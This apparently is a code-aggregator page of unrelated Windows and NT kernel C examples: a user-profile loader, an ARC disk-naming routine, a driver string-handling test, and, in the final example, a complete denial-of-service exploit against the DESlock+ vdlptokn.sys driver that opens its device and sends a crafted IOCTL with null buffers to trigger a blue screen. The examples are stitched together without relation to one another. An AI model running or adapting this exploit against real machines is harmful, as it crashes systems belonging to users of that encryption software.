    DWORD dwLength = sizeof(szUserHivePath) / sizeof(szUserHivePath[0]);

    DPRINT("LoadUserProfileW() called\n");

    /* Check profile info */
    if (!lpProfileInfo || (lpProfileInfo->dwSize != sizeof(PROFILEINFOW)) ||
        (lpProfileInfo->lpUserName == NULL) || (lpProfileInfo->lpUserName[0] == 0))
    {
        SetLastError(ERROR_INVALID_PARAMETER);
        return FALSE;
    }

    /* Don't load a profile twice */
    if (CheckForLoadedProfile(hToken))
    {
        DPRINT ("Profile already loaded\n");
        lpProfileInfo->hProfile = NULL;
        return TRUE;
    }

    if (lpProfileInfo->lpProfilePath)
    {
        wcscpy(szUserHivePath, lpProfileInfo->lpProfilePath);
    }
    else
    {
        /* FIXME: check if MS Windows allows lpProfileInfo->lpProfilePath to be NULL */
        if (!GetProfilesDirectoryW(szUserHivePath, &dwLength))
        {
            DPRINT1("GetProfilesDirectoryW() failed (error %ld)\n", GetLastError());
            return FALSE;
        }
    }

    /* Create user hive name */
    wcscat(szUserHivePath, L"\\");
    wcscat(szUserHivePath, lpProfileInfo->lpUserName);
    wcscat(szUserHivePath, L"\\ntuser.dat");
    DPRINT("szUserHivePath: %S\n", szUserHivePath);

    /* Create user profile directory if needed */
    if (GetFileAttributesW(szUserHivePath) == INVALID_FILE_ATTRIBUTES)
    {
        /* Get user sid */
        if (GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength) ||
            GetLastError() != ERROR_INSUFFICIENT_BUFFER)
        {
            DPRINT1 ("GetTokenInformation() failed\n");
            return FALSE;
        }

        UserSid = (PTOKEN_USER)HeapAlloc(GetProcessHeap(), 0, dwLength);
        if (!UserSid)
        {
            DPRINT1("HeapAlloc() failed\n");
            SetLastError(ERROR_NOT_ENOUGH_MEMORY);
            goto cleanup;
        }

        if (!GetTokenInformation(hToken, TokenUser, UserSid, dwLength, &dwLength))
        {
            DPRINT1("GetTokenInformation() failed\n");
            goto cleanup;
        }

        /* Get user name */
        do
        {
            if (UserNameLength > 0)
            {
                HeapFree(GetProcessHeap(), 0, UserName);
                UserName = (LPWSTR)HeapAlloc(GetProcessHeap(), 0, UserNameLength * sizeof(WCHAR));
                if (!UserName)
                {
                    DPRINT1("HeapAlloc() failed\n");
                    SetLastError(ERROR_NOT_ENOUGH_MEMORY);
                    goto cleanup;
                }
            }
            if (DomainLength > 0)
            {
                HeapFree(GetProcessHeap(), 0, Domain);
                Domain = (LPWSTR)HeapAlloc(GetProcessHeap(), 0, DomainLength * sizeof(WCHAR));
                if (!Domain)
                {
                    DPRINT1("HeapAlloc() failed\n");
                    SetLastError(ERROR_NOT_ENOUGH_MEMORY);
                    goto cleanup;
                }
            }
            ret = LookupAccountSidW(NULL,
                                    UserSid->User.Sid,
                                    UserName,
                                    &UserNameLength,
                                    Domain,
                                    &DomainLength,
                                    &AccountType);
        } while (!ret && GetLastError() == ERROR_INSUFFICIENT_BUFFER);

        if (!ret)
        {
            DPRINT1("LookupAccountSidW() failed\n");
            goto cleanup;
        }

        /* Create profile */
        /* FIXME: ignore Domain? */
        DPRINT("UserName %S, Domain %S\n", UserName, Domain);
        ret = CreateUserProfileW(UserSid->User.Sid, UserName);
        if (!ret)
        {
            DPRINT1("CreateUserProfileW() failed\n");
            goto cleanup;
        }
    }

    /* Get user SID string */
    ret = GetUserSidFromToken(hToken, &SidString);
    if (!ret)
    {
        DPRINT1("GetUserSidFromToken() failed\n");
        goto cleanup;
    }
    ret = FALSE;

    /* Acquire restore privilege */
    if (!AcquireRemoveRestorePrivilege(TRUE))
    {
        DPRINT1("AcquireRemoveRestorePrivilege() failed (Error %ld)\n", GetLastError());
        goto cleanup;
    }

    /* Load user registry hive */
    Error = RegLoadKeyW(HKEY_USERS,
                        SidString.Buffer,
                        szUserHivePath);
    AcquireRemoveRestorePrivilege(FALSE);
    if (Error != ERROR_SUCCESS)
    {
        DPRINT1("RegLoadKeyW() failed (Error %ld)\n", Error);
        SetLastError((DWORD)Error);
        goto cleanup;
    }

    /* Open future HKEY_CURRENT_USER */
    Error = RegOpenKeyExW(HKEY_USERS,
                          SidString.Buffer,
                          0,
                          MAXIMUM_ALLOWED,
                          (PHKEY)&lpProfileInfo->hProfile);
    if (Error != ERROR_SUCCESS)
    {
        DPRINT1("RegOpenKeyExW() failed (Error %ld)\n", Error);
        SetLastError((DWORD)Error);
        goto cleanup;
    }

    ret = TRUE;

cleanup:
    HeapFree(GetProcessHeap(), 0, UserSid);
    HeapFree(GetProcessHeap(), 0, UserName);
    HeapFree(GetProcessHeap(), 0, Domain);
    RtlFreeUnicodeString(&SidString);

    DPRINT("LoadUserProfileW() done\n");
    return ret;
}
Example #28
0
NTSTATUS
INIT_FUNCTION
NTAPI
IopCreateArcNamesDisk(IN PLOADER_PARAMETER_BLOCK LoaderBlock,
                      IN BOOLEAN SingleDisk,
                      IN PBOOLEAN FoundBoot)
{
    PIRP Irp;
    PVOID Data;
    KEVENT Event;
    NTSTATUS Status;
    PLIST_ENTRY NextEntry;
    PFILE_OBJECT FileObject;
    DISK_GEOMETRY DiskGeometry;
    PDEVICE_OBJECT DeviceObject;
    LARGE_INTEGER StartingOffset;
    PULONG PartitionBuffer = NULL;
    IO_STATUS_BLOCK IoStatusBlock;
    CHAR Buffer[128], ArcBuffer[128];
    BOOLEAN NotEnabledPresent = FALSE;
    STORAGE_DEVICE_NUMBER DeviceNumber;
    PARC_DISK_SIGNATURE ArcDiskSignature;
    PWSTR SymbolicLinkList, lSymbolicLinkList;
    PDRIVE_LAYOUT_INFORMATION_EX DriveLayout = NULL;
    UNICODE_STRING DeviceStringW, ArcNameStringW, HalPathStringW;
    ULONG DiskNumber, DiskCount, CheckSum, i, Signature, EnabledDisks = 0;
    PARC_DISK_INFORMATION ArcDiskInformation = LoaderBlock->ArcDiskInformation;
    ANSI_STRING ArcBootString, ArcSystemString, DeviceStringA, ArcNameStringA, HalPathStringA;

    /* Initialise device number */
    DeviceNumber.DeviceNumber = ULONG_MAX;
    /* Get all the disks present in the system */
    DiskCount = IoGetConfigurationInformation()->DiskCount;

    /* Get enabled disks and check if result matches */
    Status = IopFetchConfigurationInformation(&SymbolicLinkList,
                                              GUID_DEVINTERFACE_DISK,
                                              DiskCount,
                                              &EnabledDisks);
    if (!NT_SUCCESS(Status))
    {
        NotEnabledPresent = TRUE;
    }

    /* Save symbolic link list address in order to free it after */
    lSymbolicLinkList = SymbolicLinkList;

    /* Build the boot strings */
    RtlInitAnsiString(&ArcBootString, LoaderBlock->ArcBootDeviceName);
    RtlInitAnsiString(&ArcSystemString, LoaderBlock->ArcHalDeviceName);

    /* If we have more enabled disks, take that into account */
    if (EnabledDisks > DiskCount)
    {
        DiskCount = EnabledDisks;
    }

    /* If we'll have to browse for none enabled disks, fix higher count */
    if (NotEnabledPresent && !EnabledDisks)
    {
        DiskCount += 20;
    }

    /* Finally, if in spite of all that work, we still don't have disks, leave */
    if (!DiskCount)
    {
        goto Cleanup;
    }

    /* Start browsing disks */
    for (DiskNumber = 0; DiskNumber < DiskCount; DiskNumber++)
    {
        /* Check if we have an enabled disk */
        if (lSymbolicLinkList && *lSymbolicLinkList != UNICODE_NULL)
        {
            /* Create its device name using first symbolic link */
            RtlInitUnicodeString(&DeviceStringW, lSymbolicLinkList);
            /* Then, update symbolic links list */
            lSymbolicLinkList += wcslen(lSymbolicLinkList) + (sizeof(UNICODE_NULL) / sizeof(WCHAR));

            /* Get its associated device object and file object */
            Status = IoGetDeviceObjectPointer(&DeviceStringW,
                                              FILE_READ_ATTRIBUTES,
                                              &FileObject,
                                              &DeviceObject);
            if (NT_SUCCESS(Status))
            {
                /* Now, we'll ask the device its device number */
                Irp = IoBuildDeviceIoControlRequest(IOCTL_STORAGE_GET_DEVICE_NUMBER,
                                                    DeviceObject,
                                                    NULL,
                                                    0,
                                                    &DeviceNumber,
                                                    sizeof(STORAGE_DEVICE_NUMBER),
                                                    FALSE,
                                                    &Event,
                                                    &IoStatusBlock);
                /* Missing resources is a shame... No need to go farther */
                if (!Irp)
                {
                    ObDereferenceObject(FileObject);
                    Status = STATUS_INSUFFICIENT_RESOURCES;
                    goto Cleanup;
                }

                /* Call the driver, and wait for it if needed */
                KeInitializeEvent(&Event, NotificationEvent, FALSE);
                Status = IoCallDriver(DeviceObject, Irp);
                if (Status == STATUS_PENDING)
                {
                    KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL);
                    Status = IoStatusBlock.Status;
                }

                /* If we didn't get the appriopriate data, just skip that disk */
                if (!NT_SUCCESS(Status))
                {
                   ObDereferenceObject(FileObject);
                   continue;
                }
            }

            /* End of enabled disks enumeration */
            if (NotEnabledPresent && *lSymbolicLinkList == UNICODE_NULL)
            {
                /* No enabled disk worked, reset field */
                if (DeviceNumber.DeviceNumber == ULONG_MAX)
                {
                    DeviceNumber.DeviceNumber = 0;
                }

                /* Update disk number to enable the following not enabled disks */
                if (DeviceNumber.DeviceNumber > DiskNumber)
                {
                    DiskNumber = DeviceNumber.DeviceNumber;
                }

                /* Increase a bit more */
                DiskCount = DiskNumber + 20;
            }
        }
        else
        {
            /* Create device name for the disk */
            sprintf(Buffer, "\\Device\\Harddisk%lu\\Partition0", DiskNumber);
            RtlInitAnsiString(&DeviceStringA, Buffer);
            Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE);
            if (!NT_SUCCESS(Status))
            {
                goto Cleanup;
            }

            /* Get its device object */
            Status = IoGetDeviceObjectPointer(&DeviceStringW,
                                              FILE_READ_ATTRIBUTES,
                                              &FileObject,
                                              &DeviceObject);

            RtlFreeUnicodeString(&DeviceStringW);
            /* This is a security measure, to ensure DiskNumber will be used */
            DeviceNumber.DeviceNumber = ULONG_MAX;
        }

        /* Something failed somewhere earlier, just skip the disk */
        if (!NT_SUCCESS(Status))
        {
            continue;
        }

        /* Let's ask the disk for its geometry */
        Irp = IoBuildDeviceIoControlRequest(IOCTL_DISK_GET_DRIVE_GEOMETRY,
                                            DeviceObject,
                                            NULL,
                                            0,
                                            &DiskGeometry,
                                            sizeof(DISK_GEOMETRY),
                                            FALSE,
                                            &Event,
                                            &IoStatusBlock);
        /* Missing resources is a shame... No need to go farther */
        if (!Irp)
        {
            ObDereferenceObject(FileObject);
            Status = STATUS_INSUFFICIENT_RESOURCES;
            goto Cleanup;
        }

        /* Call the driver, and wait for it if needed */
        KeInitializeEvent(&Event, NotificationEvent, FALSE);
        Status = IoCallDriver(DeviceObject, Irp);
        if (Status == STATUS_PENDING)
        {
            KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL);
            Status = IoStatusBlock.Status;
        }
        /* Failure, skip disk */
        if (!NT_SUCCESS(Status))
        {
            ObDereferenceObject(FileObject);
            continue;
        }

        /* Read the partition table */
        Status = IoReadPartitionTableEx(DeviceObject,
                                        &DriveLayout);
        if (!NT_SUCCESS(Status))
        {
            ObDereferenceObject(FileObject);
            continue;
        }

        /* Ensure we have at least 512 bytes per sector */
        if (DiskGeometry.BytesPerSector < 512)
        {
            DiskGeometry.BytesPerSector = 512;
        }

        /* Check MBR type against EZ Drive type */
        StartingOffset.QuadPart = 0;
        HalExamineMBR(DeviceObject, DiskGeometry.BytesPerSector, 0x55, &Data);
        if (Data)
        {
            /* If MBR is of the EZ Drive type, we'll read after it */
            StartingOffset.QuadPart = DiskGeometry.BytesPerSector;
            ExFreePool(Data);
        }

        /* Allocate for reading enough data for checksum */
        PartitionBuffer = ExAllocatePoolWithTag(NonPagedPoolCacheAligned, DiskGeometry.BytesPerSector, TAG_IO);
        if (!PartitionBuffer)
        {
            ObDereferenceObject(FileObject);
            Status = STATUS_INSUFFICIENT_RESOURCES;
            goto Cleanup;
        }

        /* Read a sector for computing checksum */
        Irp = IoBuildSynchronousFsdRequest(IRP_MJ_READ,
                                           DeviceObject,
                                           PartitionBuffer,
                                           DiskGeometry.BytesPerSector,
                                           &StartingOffset,
                                           &Event,
                                           &IoStatusBlock);
        if (!Irp)
        {
            ObDereferenceObject(FileObject);
            Status = STATUS_INSUFFICIENT_RESOURCES;
            goto Cleanup;
        }

        /* Call the driver to perform reading */
        KeInitializeEvent(&Event, NotificationEvent, FALSE);
        Status = IoCallDriver(DeviceObject, Irp);
        if (Status == STATUS_PENDING)
        {
            KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL);
            Status = IoStatusBlock.Status;
        }
        if (!NT_SUCCESS(Status))
        {
            ExFreePool(DriveLayout);
            ExFreePoolWithTag(PartitionBuffer, TAG_IO);
            ObDereferenceObject(FileObject);
            continue;
        }

        ObDereferenceObject(FileObject);

        /* Calculate checksum, that's an easy computation, just adds read data */
        for (i = 0, CheckSum = 0; i < 512 / sizeof(ULONG) ; i++)
        {
            CheckSum += PartitionBuffer[i];
        }

        /* Browse each ARC disk */
        for (NextEntry = ArcDiskInformation->DiskSignatureListHead.Flink;
             NextEntry != &ArcDiskInformation->DiskSignatureListHead;
             NextEntry = NextEntry->Flink)
        {
            ArcDiskSignature = CONTAINING_RECORD(NextEntry,
                                                 ARC_DISK_SIGNATURE,
                                                 ListEntry);

            /* If they matches, ie
             * - There's only one disk for both BIOS and detected/enabled
             * - Signatures are matching
             * - Checksums are matching
             * - This is MBR
             */
            if (((SingleDisk && DiskCount == 1) ||
                (IopVerifyDiskSignature(DriveLayout, ArcDiskSignature, &Signature) &&
                 (ArcDiskSignature->CheckSum + CheckSum == 0))) &&
                (DriveLayout->PartitionStyle == PARTITION_STYLE_MBR))
            {
                /* Create device name */
                sprintf(Buffer, "\\Device\\Harddisk%lu\\Partition0", (DeviceNumber.DeviceNumber != ULONG_MAX) ? DeviceNumber.DeviceNumber : DiskNumber);
                RtlInitAnsiString(&DeviceStringA, Buffer);
                Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE);
                if (!NT_SUCCESS(Status))
                {
                    goto Cleanup;
                }

                /* Create ARC name */
                sprintf(ArcBuffer, "\\ArcName\\%s", ArcDiskSignature->ArcName);
                RtlInitAnsiString(&ArcNameStringA, ArcBuffer);
                Status = RtlAnsiStringToUnicodeString(&ArcNameStringW, &ArcNameStringA, TRUE);
                if (!NT_SUCCESS(Status))
                {
                    RtlFreeUnicodeString(&DeviceStringW);
                    goto Cleanup;
                }

                /* Link both */
                IoAssignArcName(&ArcNameStringW, &DeviceStringW);

                /* And release resources */
                RtlFreeUnicodeString(&ArcNameStringW);
                RtlFreeUnicodeString(&DeviceStringW);

                /* Now, browse for every partition */
                for (i = 1; i <= DriveLayout->PartitionCount; i++)
                {
                    /* Create device name */
                    sprintf(Buffer, "\\Device\\Harddisk%lu\\Partition%lu", (DeviceNumber.DeviceNumber != ULONG_MAX) ? DeviceNumber.DeviceNumber : DiskNumber, i);
                    RtlInitAnsiString(&DeviceStringA, Buffer);
                    Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE);
                    if (!NT_SUCCESS(Status))
                    {
                        goto Cleanup;
                    }

                    /* Create partial ARC name */
                    sprintf(ArcBuffer, "%spartition(%lu)", ArcDiskSignature->ArcName, i);
                    RtlInitAnsiString(&ArcNameStringA, ArcBuffer);

                    /* Is that boot device? */
                    if (RtlEqualString(&ArcNameStringA, &ArcBootString, TRUE))
                    {
                        DPRINT("Found boot device\n");
                        *FoundBoot = TRUE;
                    }

                    /* Is that system partition? */
                    if (RtlEqualString(&ArcNameStringA, &ArcSystemString, TRUE))
                    {
                        /* Create HAL path name */
                        RtlInitAnsiString(&HalPathStringA, LoaderBlock->NtHalPathName);
                        Status = RtlAnsiStringToUnicodeString(&HalPathStringW, &HalPathStringA, TRUE);
                        if (!NT_SUCCESS(Status))
                        {
                            RtlFreeUnicodeString(&DeviceStringW);
                            goto Cleanup;
                        }

                        /* Then store those information to registry */
                        IopStoreSystemPartitionInformation(&DeviceStringW, &HalPathStringW);
                        RtlFreeUnicodeString(&HalPathStringW);
                    }

                    /* Create complete ARC name */
                    sprintf(ArcBuffer, "\\ArcName\\%spartition(%lu)", ArcDiskSignature->ArcName, i);
                    RtlInitAnsiString(&ArcNameStringA, ArcBuffer);
                    Status = RtlAnsiStringToUnicodeString(&ArcNameStringW, &ArcNameStringA, TRUE);
                    if (!NT_SUCCESS(Status))
                    {
                        RtlFreeUnicodeString(&DeviceStringW);
                        goto Cleanup;
                    }

                    /* Link device name & ARC name */
                    IoAssignArcName(&ArcNameStringW, &DeviceStringW);

                    /* Release strings */
                    RtlFreeUnicodeString(&ArcNameStringW);
                    RtlFreeUnicodeString(&DeviceStringW);
                }
            }
            else
            {
                /* In case there's a valid partition, a matching signature,
                   BUT a none matching checksum, or there's a duplicate
                   signature, or even worse a virus played with partition
                   table */
                if (ArcDiskSignature->Signature == Signature &&
                    (ArcDiskSignature->CheckSum + CheckSum != 0) &&
                    ArcDiskSignature->ValidPartitionTable)
                 {
                     DPRINT("Be careful, or you have a duplicate disk signature, or a virus altered your MBR!\n");
                 }
            }
        }

        /* Release memory before jumping to next item */
        ExFreePool(DriveLayout);
        DriveLayout = NULL;
        ExFreePoolWithTag(PartitionBuffer, TAG_IO);
        PartitionBuffer = NULL;
    }

    Status = STATUS_SUCCESS;

Cleanup:
    if (SymbolicLinkList)
    {
        ExFreePool(SymbolicLinkList);
    }

    if (DriveLayout)
    {
        ExFreePool(DriveLayout);
    }

    if (PartitionBuffer)
    {
        ExFreePoolWithTag(PartitionBuffer, TAG_IO);
    }

    return Status;
}
Example #29
0
void test()
{
	NTSTATUS tRetStatus;

	KdPrint(("enter teest\n"));

	KdPrint(("WCHAR and CHAR"));
	CHAR tSrc[]		= "abcd";
	CHAR tDes[10]	= {0};
	strcpy(tDes,tSrc);
	KdPrint(("%s\n",tDes));

	WCHAR tWSrc[]	= L"abcde";
	WCHAR tWDes[10]	= {0};
	wcscpy(tWDes,tWSrc);
	KdPrint(("%S\n",tWDes));

	KdPrint(("\n"));

	KdPrint(("ANSI_STRING and UNICODE_STRING\n"));
	ANSI_STRING tAnsiStringSrc;
	KdPrint(("printf ansi string(no init):%Z\n",&tAnsiStringSrc));

	UNICODE_STRING tUnicodeStringSrc;
	KdPrint(("printf Unicode string(no init):%wZ\n",&tUnicodeStringSrc));

	//RtlInitAnsiString()简单指针赋值
	tUnicodeStringSrc.MaximumLength	= 100;
	tUnicodeStringSrc.Buffer = (PWSTR)ExAllocatePool(PagedPool, tUnicodeStringSrc.MaximumLength);
	WCHAR tWTemp[] = L"example unicodestring";
	tUnicodeStringSrc.Length	= wcslen(tWTemp) * 2;	//单位字节 
	RtlCopyMemory(tUnicodeStringSrc.Buffer, tWTemp, tUnicodeStringSrc.Length);	//字节
	KdPrint(("length:%d,maxlen:%d,str:%wZ\n",tUnicodeStringSrc.Length, tUnicodeStringSrc.MaximumLength, &tUnicodeStringSrc));
	
	//RtlCopyUnicodeString()和RtlCopyMemory相似,目的缓存需要自己分配,自己清空
	KdPrint(("compare string\n"));

	UNICODE_STRING tCompareStr;
	RtlInitUnicodeString(&tCompareStr,tWTemp);
	KdPrint(("length:%d,maxlen:%d,str:%wZ\n",tCompareStr.Length, tCompareStr.MaximumLength, &tCompareStr));

	if(0 == RtlCompareUnicodeString(&tUnicodeStringSrc, &tCompareStr, FALSE))	//maxlength不同,不影响比较结果
		KdPrint(("equal\n"));
	else
		KdPrint(("not equal\n"));

	ExFreePool(tUnicodeStringSrc.Buffer);
	tUnicodeStringSrc.Buffer		= 0;
	tUnicodeStringSrc.Length		= 0;
	tUnicodeStringSrc.MaximumLength	= 0;

	KdPrint(("to up\n"));
	UNICODE_STRING	tUpCaseString;
	tRetStatus = RtlUpcaseUnicodeString(&tUpCaseString, &tUnicodeStringSrc, TRUE);
	if(false == NT_SUCCESS(tRetStatus))
		KdPrint(("UpcaseUnicodestring failed\n"));

	KdPrint(("%wZ\n",&tUpCaseString));
	RtlFreeUnicodeString(&tUpCaseString);

	KdPrint(("oh on?\n"));
	UNICODE_STRING tTestUnicodeString;
	RtlInitUnicodeString(&tTestUnicodeString, L"aabbccdd");
	KdPrint(("%wZ\n",&tTestUnicodeString));
	RtlUpcaseUnicodeString(&tTestUnicodeString,&tTestUnicodeString,FALSE);
	KdPrint(("%wZ\n",&tTestUnicodeString));

	KdPrint(("string to int\n"));
	UNICODE_STRING tString;
	RtlInitUnicodeString(&tString, L"123");
	ULONG t = 0;
	RtlUnicodeStringToInteger(&tString, 10, &t);
	t = t+1;
	KdPrint(("convert to int:%d\n",t));

	KdPrint(("level test\n"));
}
Example #30
0
int __cdecl main(int argc, char **argv)
{
    NTSTATUS NtStatus;
    
    HANDLE DeviceHandle;
    
    UNICODE_STRING DeviceName;
    OBJECT_ATTRIBUTES ObjectAttributes;
    IO_STATUS_BLOCK IoStatusBlock;
    LARGE_INTEGER Interval;

    ///////////////////////////////////////////////////////////////////////////////////////////////
    
    system("cls");
    
    printf( " +----------------------------------------------------------------------------+\n"
            " |                                                                            |\n"
            " | Data Encryption Systems Ltd. - http://www.deslock.com/                     |\n"
            " | Data Encryption Systems DESlock+ - 3.2.7                                   |\n"
            " | DESlock+ Virtual Token Driver - 1.0.2.43 - vdlptokn.sys                    |\n"
            " | DoS Exploit                                                                |\n"
            " |                                                                            |\n"
            " +----------------------------------------------------------------------------+\n"
            " |                                                                            |\n"
            " | NT Internals - http://www.ntinternals.org/                                 |\n"
            " | alex ntinternals org                                                       |\n"
            " | 21 September 2008                                                          |\n"
            " |                                                                            |\n"
            " +----------------------------------------------------------------------------+\n\n");

    ///////////////////////////////////////////////////////////////////////////////////////////////
    
    RtlInitUnicodeString(&DeviceName, L"\\Device\\DLPTokenWalter0");

    ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
    ObjectAttributes.RootDirectory = 0;
    ObjectAttributes.ObjectName = &DeviceName;
    ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
    ObjectAttributes.SecurityDescriptor = NULL;
    ObjectAttributes.SecurityQualityOfService = NULL;

    
    NtStatus = NtCreateFile(
                            &DeviceHandle,                      // FileHandle
                            FILE_READ_DATA | FILE_WRITE_DATA,   // DesiredAccess
                            &ObjectAttributes,                  // ObjectAttributes
                            &IoStatusBlock,                     // IoStatusBlock
                            NULL,                               // AllocationSize OPTIONAL
                            0,                                  // FileAttributes
                            FILE_SHARE_READ | FILE_SHARE_WRITE, // ShareAccess
                            FILE_OPEN_IF,                       // CreateDisposition
                            0,                                  // CreateOptions
                            NULL,                               // EaBuffer OPTIONAL
                            0);                                 // EaLength

    if(NtStatus)
    {
        printf(" [*] NtStatus of NtCreateFile - 0x%.8X\n", NtStatus);    
        return NtStatus;
    }

    RtlFreeUnicodeString(&DeviceName);

    ///////////////////////////////////////////////////////////////////////////////////////////////

    Interval.LowPart = 0xFF676980;
    Interval.HighPart = 0xFFFFFFFF;

    printf(" 3");
    NtDelayExecution(FALSE,    &Interval);
    
    printf(" 2");
    NtDelayExecution(FALSE,    &Interval);

    printf(" 1");
    NtDelayExecution(FALSE,    &Interval);

    printf(" BSoD\n\n");
    NtDelayExecution(FALSE,    &Interval);


    NtStatus = NtDeviceIoControlFile(
                                     DeviceHandle,    // FileHandle
                                     NULL,            // Event
                                     NULL,            // ApcRoutine
                                     NULL,            // ApcContext
                                     &IoStatusBlock,  // IoStatusBlock
                                     0x002220C0,      // IoControlCode
                                     NULL,            // InputBuffer
                                     0,               // InputBufferLength
                                     NULL,            // OutputBuffer
                                     0);              // OutBufferLength
    
    if(NtStatus)
    {
        printf(" [*] NtStatus of NtDeviceIoControlFile - 0x%.8X\n", NtStatus);
        return NtStatus;
    }

    ///////////////////////////////////////////////////////////////////////////////////////////////

    NtStatus = NtClose(DeviceHandle);  // Handle
    
    if(NtStatus)
    {
        printf(" [*] NtStatus of NtClose - 0x%.8X\n", NtStatus);    
        return NtStatus;
    }
    
    return 0;
}